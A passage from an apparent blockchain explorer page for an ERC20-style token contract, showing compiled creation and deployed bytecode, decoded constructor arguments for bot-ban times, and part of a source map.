be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610638906114d3565b60006106c8338461072c85604051806060016040528060258152602001611676602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec5565b60006106c8338484610b5e565b60098054610892906114d3565b80601f01602080910402602001604051908101604052809291908181526020018280546108be906114d3565b801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b60088054610892906114d3565b604080518082019091526000808252600160208301529082610943576000610946565b60015b60ff16600281106109595761095961150d565b602002015192915050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107c7565b6001600160a01b038116610a235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a8a8284611539565b9392505050565b6000610a8a8284611558565b6001600160a01b03831615801590610abd57506001600160a01b03821615155b610afd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c7565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c7565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6657506001600160a01b03821660009081526004602052604090205460ff16155b15610cce57601554811115610cce5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107c7565b600c5460ff61010082048116911610801590610cf45750601954600160b01b900460ff16155b8015610d0e57506019546001600160a01b03848116911614155b8015610d235750601954600160c01b900460ff165b15610d6257600c805460ff1916905530600090815260016020526040902054601554811115610d5157506015545b8015610d6057610d6081610efd565b505b6001600160a01b03821660009081526003602052604090205460ff16610db957601354610dae82610da8856001600160a01b031660009081526001602052604090205490565b90610ef1565b1115610db957600080fd5b6001600160a01b038216600090815260066020526040902054600160ff9091161015610de6576000610de9565b60015b8015610e0d5750601954600160b81b900460ff16610e08576000610e0b565b60015b155b15610e26576019805460ff60b81b1916600160b81b1790555b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6857506001600160a01b03831660009081526005602052604090205460ff165b15610e7557506000610eb3565b6019546001600160a01b0390811690851603610e9657600e54600d55610eb3565b6019546001600160a01b0390811690841603610eb357600f54600d555b610ebf84848484610f42565b50505050565b60008184841115610ee95760405162461bcd60e51b81526004016107c79190611388565b505050900390565b6000610a8a828461157a565b6019805460ff60b01b1916600160b01b179055610f1981610f99565b6007544790610f31906001600160a01b0316826110f3565b50506019805460ff60b01b19169055565b80610f5457610f4f61112e565b610f81565b600c805460ff16906000610f678361158d565b91906101000a81548160ff021916908360ff160217905550505b610f8c848484611173565b80610ebf57610ebf611260565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fce57610fce61150d565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b91906115ac565b8160018151811061105e5761105e61150d565b6001600160a01b0392831660209182029290920101526017546110849130911684610a9d565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bd9085906000908690309042906004016115c9565b600060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611129573d6000803e3d6000fd5b505050565b600d5415801561113e5750600e54155b801561114a5750600f54155b1561115157565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061118083856112df565b6001600160a01b03871660009081526001602052604090205491935091506111a8908461137c565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546111d79083610ef1565b6001600160a01b0385166000908152600160205260408082209290925530815220546112039082610ef1565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201825260125481528151602080820190935260629081905291810191909152601954600160b81b900460ff166112b457601954600160a81b900460ff166112c2565b601954600160a01b900460ff165b60ff16600281106112d5576112d561150d565b6020020151600f55565b60008060006064600d54866112f49190611539565b6112fe9190611558565b6001600160a01b0385166000908152600660205260408120549192509061132d90600160ff9091161015610920565b9050600061136f604051806040016040528060008152602001601a548152508360ff16600281106113605761136061150d565b6020020151610da8898661137c565b9792965091945050505050565b6000610a8a828461163a565b600060208083528351808285015260005b818110156113b557858101830151858201604001528201611399565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113eb57600080fd5b50565b6000806040838503121561140157600080fd5b823561140c816113d6565b946020939093013593505050565b60006020828403121561142c57600080fd5b8135610a8a816113d6565b60008060006060848603121561144c57600080fd5b8335611457816113d6565b92506020840135611467816113d6565b929592945050506040919091013590565b60006020828403121561148a57600080fd5b81358015158114610a8a57600080fd5b600080604083850312156114ad57600080fd5b82356114b8816113d6565b915060208301356114c8816113d6565b809150509250929050565b600181811c908216806114e757607f821691505b60208210810361150757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561155357611553611523565b500290565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156106cc576106cc611523565b600060ff821660ff81036115a3576115a3611523565b60010192915050565b6000602082840312156115be57600080fd5b8151610a8a816113d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116195784516001600160a01b0316835293830193918301916001016115f4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106cc576106cc61152356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122070ef6677aafb5087550a42154ac94cf6d1ef77b2e9d39cc2074460221d6f31e264736f6c63430008100033000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000004ee2d6d415b85acef80ffffffff

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c8063715018a611610102578063af465a2711610095578063d64d610711610064578063d64d61071461058d578063dd62ed3e146105ad578063f2fde38b146105f3578063f45128f51461061357600080fd5b8063af465a271461052c578063b09f126614610542578063c9df913a14610557578063d28d88521461057857600080fd5b80638da5cb5b116100d15780638da5cb5b146104b957806395d89b41146104d7578063a457c2d7146104ec578063a9059cbb1461050c57600080fd5b8063715018a61461044657806378109e541461045d5780637d1db4a5146104735780637ed41bcc1461048957600080fd5b806323b872dd1161017a57806349bd5a5e1161014957806349bd5a5e1461039f5780634a74bb02146103bf578063673a6dad146103e057806370a082311461041057600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461034f5780633ac656e81461036f57600080fd5b80631694505e116101b65780631694505e1461026757806318160ddd1461029f57806318c058b1146102b4578063220f6696146102f657600080fd5b806306fdde03146101e85780630787b15d14610213578063095ea7b31461023757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610629565b60405161020a9190611388565b60405180910390f35b34801561021f57600080fd5b50610229600f5481565b60405190815260200161020a565b34801561024357600080fd5b506102576102523660046113ee565b6106bb565b604051901515815260200161020a565b34801561027357600080fd5b50601754610287906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156102ab57600080fd5b50600b54610229565b3480156102c057600080fd5b506102e46102cf36600461141a565b60066020526000908152604090205460ff1681565b60405160ff909116815260200161020a565b34801561030257600080fd5b5060195461025790600160b01b900460ff1681565b34801561032357600080fd5b50610257610332366004611437565b6106d2565b34801561034357600080fd5b50600a5460ff166102e4565b34801561035b57600080fd5b5061025761036a3660046113ee565b61073b565b34801561037b57600080fd5b5061025761038a36600461141a565b60056020526000908152604090205460ff1681565b3480156103ab57600080fd5b50601954610287906001600160a01b031681565b3480156103cb57600080fd5b5060195461025790600160c01b900460ff1681565b3480156103ec57600080fd5b506102576103fb36600461141a565b60046020526000908152604090205460ff1681565b34801561041c57600080fd5b5061022961042b36600461141a565b6001600160a01b031660009081526001602052604090205490565b34801561045257600080fd5b5061045b610771565b005b34801561046957600080fd5b5061022960135481565b34801561047f57600080fd5b5061022960155481565b34801561049557600080fd5b506102576104a436600461141a565b60036020526000908152604090205460ff1681565b3480156104c557600080fd5b506000546001600160a01b0316610287565b3480156104e357600080fd5b506101fd61081a565b3480156104f857600080fd5b506102576105073660046113ee565b610829565b34801561051857600080fd5b506102576105273660046113ee565b610878565b34801561053857600080fd5b50610229600b5481565b34801561054e57600080fd5b506101fd610885565b34801561056357600080fd5b5060195461025790600160b81b900460ff1681565b34801561058457600080fd5b506101fd610913565b34801561059957600080fd5b506102e46105a8366004611478565b610920565b3480156105b957600080fd5b506102296105c836600461149a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105ff57600080fd5b5061045b61060e36600461141a565b610964565b34801561061f57600080fd5b50610229600e5481565b606060088054610638906114d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610664906114d3565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c8338484610a9d565b5060015b92915050565b60006106df848484610b5e565b610731843361072c8560405180606001604052806028815260200161164e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec5565b610a9d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c891859061072c9086610ef1565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610638906114d3565b60006106c8338461072c85604051806060016040528060258152602001611676602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610ec5565b60006106c8338484610b5e565b60098054610892906114d3565b80601f01602080910402602001604051908101604052809291908181526020018280546108be906114d3565b801561090b5780601f106108e05761010080835404028352916020019161090b565b820191906000526020600020905b8154815290600101906020018083116108ee57829003601f168201915b505050505081565b60088054610892906114d3565b604080518082019091526000808252600160208301529082610943576000610946565b60015b60ff16600281106109595761095961150d565b602002015192915050565b6000546001600160a01b031633146109be5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107c7565b6001600160a01b038116610a235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610a8a8284611539565b9392505050565b6000610a8a8284611558565b6001600160a01b03831615801590610abd57506001600160a01b03821615155b610afd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016107c7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c7565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c7565b6001600160a01b03831660009081526004602052604090205460ff16158015610c6657506001600160a01b03821660009081526004602052604090205460ff16155b15610cce57601554811115610cce5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107c7565b600c5460ff61010082048116911610801590610cf45750601954600160b01b900460ff16155b8015610d0e57506019546001600160a01b03848116911614155b8015610d235750601954600160c01b900460ff165b15610d6257600c805460ff1916905530600090815260016020526040902054601554811115610d5157506015545b8015610d6057610d6081610efd565b505b6001600160a01b03821660009081526003602052604090205460ff16610db957601354610dae82610da8856001600160a01b031660009081526001602052604090205490565b90610ef1565b1115610db957600080fd5b6001600160a01b038216600090815260066020526040902054600160ff9091161015610de6576000610de9565b60015b8015610e0d5750601954600160b81b900460ff16610e08576000610e0b565b60015b155b15610e26576019805460ff60b81b1916600160b81b1790555b6001600160a01b03831660009081526005602052604090205460019060ff1680610e6857506001600160a01b03831660009081526005602052604090205460ff165b15610e7557506000610eb3565b6019546001600160a01b0390811690851603610e9657600e54600d55610eb3565b6019546001600160a01b0390811690841603610eb357600f54600d555b610ebf84848484610f42565b50505050565b60008184841115610ee95760405162461bcd60e51b81526004016107c79190611388565b505050900390565b6000610a8a828461157a565b6019805460ff60b01b1916600160b01b179055610f1981610f99565b6007544790610f31906001600160a01b0316826110f3565b50506019805460ff60b01b19169055565b80610f5457610f4f61112e565b610f81565b600c805460ff16906000610f678361158d565b91906101000a81548160ff021916908360ff160217905550505b610f8c848484611173565b80610ebf57610ebf611260565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610fce57610fce61150d565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611027573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104b91906115ac565b8160018151811061105e5761105e61150d565b6001600160a01b0392831660209182029290920101526017546110849130911684610a9d565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bd9085906000908690309042906004016115c9565b600060405180830381600087803b1580156110d757600080fd5b505af11580156110eb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611129573d6000803e3d6000fd5b505050565b600d5415801561113e5750600e54155b801561114a5750600f54155b1561115157565b600e8054601155600f8054601255600d80546010556000928390559082905555565b60008061118083856112df565b6001600160a01b03871660009081526001602052604090205491935091506111a8908461137c565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546111d79083610ef1565b6001600160a01b0385166000908152600160205260408082209290925530815220546112039082610ef1565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b601054600d55601154600e5560408051808201825260125481528151602080820190935260629081905291810191909152601954600160b81b900460ff166112b457601954600160a81b900460ff166112c2565b601954600160a01b900460ff165b60ff16600281106112d5576112d561150d565b6020020151600f55565b60008060006064600d54866112f49190611539565b6112fe9190611558565b6001600160a01b0385166000908152600660205260408120549192509061132d90600160ff9091161015610920565b9050600061136f604051806040016040528060008152602001601a548152508360ff16600281106113605761136061150d565b6020020151610da8898661137c565b9792965091945050505050565b6000610a8a828461163a565b600060208083528351808285015260005b818110156113b557858101830151858201604001528201611399565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113eb57600080fd5b50565b6000806040838503121561140157600080fd5b823561140c816113d6565b946020939093013593505050565b60006020828403121561142c57600080fd5b8135610a8a816113d6565b60008060006060848603121561144c57600080fd5b8335611457816113d6565b92506020840135611467816113d6565b929592945050506040919091013590565b60006020828403121561148a57600080fd5b81358015158114610a8a57600080fd5b600080604083850312156114ad57600080fd5b82356114b8816113d6565b915060208301356114c8816113d6565b809150509250929050565b600181811c908216806114e757607f821691505b60208210810361150757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561155357611553611523565b500290565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156106cc576106cc611523565b600060ff821660ff81036115a3576115a3611523565b60010192915050565b6000602082840312156115be57600080fd5b8151610a8a816113d6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116195784516001600160a01b0316835293830193918301916001016115f4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106cc576106cc61152356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122070ef6677aafb5087550a42154ac94cf6d1ef77b2e9d39cc2074460221d6f31e264736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000004ee2d6d415b85acef80ffffffff

-----Decoded View---------------
Arg [0] : minBotBanTime (uint8): 1
Arg [1] : maxBotBanTime (uint256): 99999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [1] : 00000000000000000000000000000000000004ee2d6d415b85acef80ffffffff


Deployed Bytecode Sourcemap

11051:9592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14178:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11976:27;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;11976:27:0;567:177:1;15013:161:0;;;;;;;;;;-1:-1:-1;15013:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;15013:161:0;1205:187:1;12398:41:0;;;;;;;;;;-1:-1:-1;12398:41:0;;;;-1:-1:-1;;;;;12398:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;12398:41:0;1397:229:1;14455:95:0;;;;;;;;;;-1:-1:-1;14535:7:0;;14455:95;;11481:50;;;;;;;;;;-1:-1:-1;11481:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2055:4:1;2043:17;;;2025:36;;2013:2;1998:18;11481:50:0;1883:184:1;12583:28:0;;;;;;;;;;-1:-1:-1;12583:28:0;;;;-1:-1:-1;;;12583:28:0;;;;;;15182:313;;;;;;;;;;-1:-1:-1;15182:313:0;;;;;:::i;:::-;;:::i;14364:83::-;;;;;;;;;;-1:-1:-1;14430:9:0;;;;14364:83;;15503:218;;;;;;;;;;-1:-1:-1;15503:218:0;;;;;:::i;:::-;;:::i;11424:49::-;;;;;;;;;;-1:-1:-1;11424:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12477:28;;;;;;;;;;-1:-1:-1;12477:28:0;;;;-1:-1:-1;;;;;12477:28:0;;;12667:40;;;;;;;;;;-1:-1:-1;12667:40:0;;;;-1:-1:-1;;;12667:40:0;;;;;;11366:51;;;;;;;;;;-1:-1:-1;11366:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14558:121;;;;;;;;;;-1:-1:-1;14558:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;14651:20:0;14624:7;14651:20;;;:11;:20;;;;;;;14558:121;10637:148;;;;;;;;;;;;;:::i;:::-;;12148:56;;;;;;;;;;;;;;;;12277:53;;;;;;;;;;;;;;;;11304:55;;;;;;;;;;-1:-1:-1;11304:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10408:87;;;;;;;;;;-1:-1:-1;10454:7:0;10481:6;-1:-1:-1;;;;;10481:6:0;10408:87;;14269;;;;;;;;;;;;;:::i;15729:269::-;;;;;;;;;;-1:-1:-1;15729:269:0;;;;;:::i;:::-;;:::i;14687:167::-;;;;;;;;;;-1:-1:-1;14687:167:0;;;;;:::i;:::-;;:::i;11773:49::-;;;;;;;;;;;;;;;;11691:41;;;;;;;;;;;;;:::i;12618:42::-;;;;;;;;;;-1:-1:-1;12618:42:0;;;;-1:-1:-1;;;12618:42:0;;;;;;11644:40;;;;;;;;;;;;;:::i;20531:107::-;;;;;;;;;;-1:-1:-1;20531:107:0;;;;;:::i;:::-;;:::i;14862:143::-;;;;;;;;;;-1:-1:-1;14862:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14970:18:0;;;14943:7;14970:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14862:143;10793:244;;;;;;;;;;-1:-1:-1;10793:244:0;;;;;:::i;:::-;;:::i;11943:26::-;;;;;;;;;;;;;;;;14178:83;14215:13;14248:5;14241:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14178:83;:::o;15013:161::-;15088:4;15105:39;1950:10;15128:7;15137:6;15105:8;:39::i;:::-;-1:-1:-1;15162:4:0;15013:161;;;;;:::o;15182:313::-;15280:4;15297:36;15307:6;15315:9;15326:6;15297:9;:36::i;:::-;15344:121;15353:6;1950:10;15375:89;15413:6;15375:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15375:19:0;;;;;;:11;:19;;;;;;;;1950:10;15375:33;;;;;;;;;;:37;:89::i;:::-;15344:8;:121::i;:::-;-1:-1:-1;15483:4:0;15182:313;;;;;:::o;15503:218::-;1950:10;15591:4;15640:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15640:34:0;;;;;;;;;;15591:4;;15608:83;;15631:7;;15640:50;;15679:10;15640:38;:50::i;10637:148::-;10454:7;10481:6;-1:-1:-1;;;;;10481:6:0;1950:10;10547:23;10539:68;;;;-1:-1:-1;;;10539:68:0;;3999:2:1;10539:68:0;;;3981:21:1;;;4018:18;;;4011:30;4077:34;4057:18;;;4050:62;4129:18;;10539:68:0;;;;;;;;;10744:1:::1;10728:6:::0;;10707:40:::1;::::0;-1:-1:-1;;;;;10728:6:0;;::::1;::::0;10707:40:::1;::::0;10744:1;;10707:40:::1;10775:1;10758:19:::0;;-1:-1:-1;;;;;;10758:19:0::1;::::0;;10637:148::o;14269:87::-;14308:13;14341:7;14334:14;;;;;:::i;15729:269::-;15822:4;15839:129;1950:10;15862:7;15871:96;15910:15;15871:96;;;;;;;;;;;;;;;;;1950:10;15871:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15871:34:0;;;;;;;;;;;;:38;:96::i;14687:167::-;14765:4;14782:42;1950:10;14806:9;14817:6;14782:9;:42::i;11691:41::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11644:40::-;;;;;;;:::i;20531:107::-;20610:20;;;;;;;;;20586:5;20610:20;;;20613:1;20610:20;;;;20586:5;20616;:13;;20628:1;20616:13;;;20624:1;20616:13;20610:20;;;;;;;;;:::i;:::-;;;;;;20531:107;-1:-1:-1;;20531:107:0:o;10793:244::-;10454:7;10481:6;-1:-1:-1;;;;;10481:6:0;1950:10;10547:23;10539:68;;;;-1:-1:-1;;;10539:68:0;;3999:2:1;10539:68:0;;;3981:21:1;;;4018:18;;;4011:30;4077:34;4057:18;;;4050:62;4129:18;;10539:68:0;3797:356:1;10539:68:0;-1:-1:-1;;;;;10882:22:0;::::1;10874:73;;;::::0;-1:-1:-1;;;10874:73:0;;4492:2:1;10874:73:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;4570:34;4550:18;;;4543:62;-1:-1:-1;;;4621:18:1;;;4614:36;4667:19;;10874:73:0::1;4290:402:1::0;10874:73:0::1;10984:6;::::0;;10963:38:::1;::::0;-1:-1:-1;;;;;10963:38:0;;::::1;::::0;10984:6;::::1;::::0;10963:38:::1;::::0;::::1;11012:6;:17:::0;;-1:-1:-1;;;;;;11012:17:0::1;-1:-1:-1::0;;;;;11012:17:0;;;::::1;::::0;;;::::1;::::0;;10793:244::o;1185:98::-;1243:7;1270:5;1274:1;1270;:5;:::i;:::-;1263:12;1185:98;-1:-1:-1;;;1185:98:0:o;1295:::-;1353:7;1380:5;1384:1;1380;:5;:::i;16566:266::-;-1:-1:-1;;;;;16661:19:0;;;;;;:44;;-1:-1:-1;;;;;;16684:21:0;;;;16661:44;16653:74;;;;-1:-1:-1;;;16653:74:0;;5426:2:1;16653:74:0;;;5408:21:1;5465:2;5445:18;;;5438:30;-1:-1:-1;;;5484:18:1;;;5477:47;5541:18;;16653:74:0;5224:341:1;16653:74:0;-1:-1:-1;;;;;16738:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;16790:32;;713:25:1;;;16790:32:0;;686:18:1;16790:32:0;;;;;;;16566:266;;;:::o;16840:1621::-;-1:-1:-1;;;;;16974:18:0;;16966:68;;;;-1:-1:-1;;;16966:68:0;;5772:2:1;16966:68:0;;;5754:21:1;5811:2;5791:18;;;5784:30;5850:34;5830:18;;;5823:62;-1:-1:-1;;;5901:18:1;;;5894:35;5946:19;;16966:68:0;5570:401:1;16966:68:0;-1:-1:-1;;;;;17053:16:0;;17045:64;;;;-1:-1:-1;;;17045:64:0;;6178:2:1;17045:64:0;;;6160:21:1;6217:2;6197:18;;;6190:30;6256:34;6236:18;;;6229:62;-1:-1:-1;;;6307:18:1;;;6300:33;6350:19;;17045:64:0;5976:399:1;17045:64:0;-1:-1:-1;;;;;17126:24:0;;;;;;:18;:24;;;;;;;;17125:25;:62;;;;-1:-1:-1;;;;;;17165:22:0;;;;;;:18;:22;;;;;;;;17164:23;17125:62;17122:197;;;17250:12;;17212:6;:50;;17204:103;;;;-1:-1:-1;;;17204:103:0;;6582:2:1;17204:103:0;;;6564:21:1;6621:2;6601:18;;;6594:30;6660:34;6640:18;;;6633:62;-1:-1:-1;;;6711:18:1;;;6704:38;6759:19;;17204:103:0;6380:404:1;17204:103:0;17359:11;;;;;;;;17348:7;;:22;;;;:57;;-1:-1:-1;17389:16:0;;-1:-1:-1;;;17389:16:0;;;;17388:17;17348:57;:95;;;;-1:-1:-1;17430:13:0;;-1:-1:-1;;;;;17422:21:0;;;17430:13;;17422:21;;17348:95;:133;;;;-1:-1:-1;17460:21:0;;-1:-1:-1;;;17460:21:0;;;;17348:133;17331:497;;;17538:7;:11;;-1:-1:-1;;17538:11:0;;;17613:4;-1:-1:-1;14651:20:0;;;-1:-1:-1;14651:20:0;;;;;;17660:12;;17637:35;;17634:78;;;-1:-1:-1;17698:12:0;;17634:78;17729:24;;17726:91;;17769:36;17784:20;17769:14;:36::i;:::-;17507:321;17331:497;-1:-1:-1;;;;;17842:26:0;;;;;;:22;:26;;;;;;;;17838:85;;17907:15;;17878:25;17896:6;17878:13;17888:2;-1:-1:-1;;;;;14651:20:0;14624:7;14651:20;;;:11;:20;;;;;;;14558:121;17878:13;:17;;:25::i;:::-;:44;;17870:53;;;;;;-1:-1:-1;;;;;17938:20:0;;;;;;:16;:20;;;;;;17962:1;17938:20;;;;:25;;:38;;17971:5;17938:38;;;17966:4;17938:38;17937:84;;;;-1:-1:-1;17983:22:0;;-1:-1:-1;;;17983:22:0;;;;:37;;18015:5;17983:37;;;18008:4;17983:37;17981:40;17937:84;17934:120;;;18023:22;:29;;-1:-1:-1;;;;18023:29:0;-1:-1:-1;;;18023:29:0;;;17934:120;-1:-1:-1;;;;;18100:22:0;;18066:12;18100:22;;;:16;:22;;;;;;18081:4;;18100:22;;;:66;;-1:-1:-1;;;;;;18146:20:0;;;;;;:16;:20;;;;;;;;18100:66;18096:297;;;-1:-1:-1;18203:5:0;18096:297;;;18238:13;;-1:-1:-1;;;;;18238:13:0;;;18230:21;;;;18226:167;;18280:7;;18267:10;:20;18226:167;;;18319:13;;-1:-1:-1;;;;;18319:13:0;;;18313:19;;;;18309:84;;18365:8;;18352:10;:21;18309:84;18413:40;18430:4;18435:2;18438:6;18445:7;18413:16;:40::i;:::-;16943:1518;16840:1621;;;:::o;1401:206::-;1487:7;1548:12;1540:6;;;;1532:29;;;;-1:-1:-1;;;1532:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1583:5:0;;;1401:206::o;973:98::-;1031:7;1058:5;1062:1;1058;:5;:::i;18597:235::-;12991:16;:23;;-1:-1:-1;;;;12991:23:0;-1:-1:-1;;;12991:23:0;;;18682:38:::1;18699:20:::0;18682:16:::1;:38::i;:::-;18798:13;::::0;18753:21:::1;::::0;18785:39:::1;::::0;-1:-1:-1;;;;;18798:13:0::1;18753:21:::0;18785:12:::1;:39::i;:::-;-1:-1:-1::0;;13037:16:0;:24;;-1:-1:-1;;;;13037:24:0;;;18597:235::o;19322:358::-;19445:7;19441:102;;19468:13;:11;:13::i;:::-;19441:102;;;19522:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;19441:102;19563:43;19580:6;19588:9;19599:6;19563:16;:43::i;:::-;19623:7;19619:54;;19646:15;:13;:15::i;18840:474::-;18932:16;;;18946:1;18932:16;;;;;;;;18908:21;;18932:16;;;;;;;;;;-1:-1:-1;1893